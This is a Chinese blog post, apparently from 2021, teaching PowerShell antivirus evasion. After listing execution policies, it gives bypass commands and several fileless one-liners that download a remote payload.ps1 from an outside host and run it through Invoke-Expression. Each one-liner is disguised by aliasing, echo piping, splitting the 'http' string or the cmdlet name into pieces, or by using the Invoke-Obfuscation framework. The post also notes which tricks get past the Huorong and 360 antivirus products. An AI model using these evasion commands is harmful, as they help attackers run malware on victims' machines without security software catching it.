免杀------powersehll免杀

一、powershell执行策略

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

 

二.查看powershell执行策略 :

Get-ExecutionPolicy -List

Set-ExecutionPolicy Unrestricted(权限最高,可以不受限制执行任意脚本)设置执行策略

三、文件落地执行powershell

本地读取然后通过管道符运行

powershell Get-Content 1.ps1 | powershell -NoProfile -

Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./1.ps1

Unrestricted执行策略标志

powershell -ExecutionPolicy unrestricted -File ./1.ps1

 

4.免杀powershell,无文件落地

不免杀原始命令行

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.10.26:88/a/payload.ps1'))"

1.为iex设置别名

iex => Invoke-expression

powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.10.26:88/a/payload.ps1')

 2.采用echo方式,远程下载并通过IEX运行脚本,这里我们(可过火绒,360未成功)

echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.10.26:88/a/payload.ps1') | powershell -

 

 3.利用'+'拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP,可以过火绒,不能过360)

powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.10.26:88/a/payload.ps1')"

4.分割语句将语句保存为ps1文件,放到目标主机直接执行powershell脚本

 

$b1='invoke-Ex';$b2='pression';$a1='((new-object net.webclient).downl';$a2='oadstring(''http://192.168.0.104:80/a''))';$a3=$b1,$b2,$a1,$a2;iex(-join $a3)

 

 

5.powershell混淆编码框架(https://github.com/danielbohannon/Invoke-Obfuscation)

1.我们来装载框架进入Invoke-Obfuscation

Import-Module ./Invoke-Obfuscation.psd1 

Invoke-Obfuscation

接下来设置ps1文件进行混淆(关闭杀软).

set scriptpath D:\Users\Administrator\Desktop\a\payload.ps1

输入ENCODING  就会列出以下几种编码方式

 输出文件:out 2.ps1

 

posted @ 2021-07-15 23:20  Shadown-PQ  阅读(419)  评论(0编辑  收藏  举报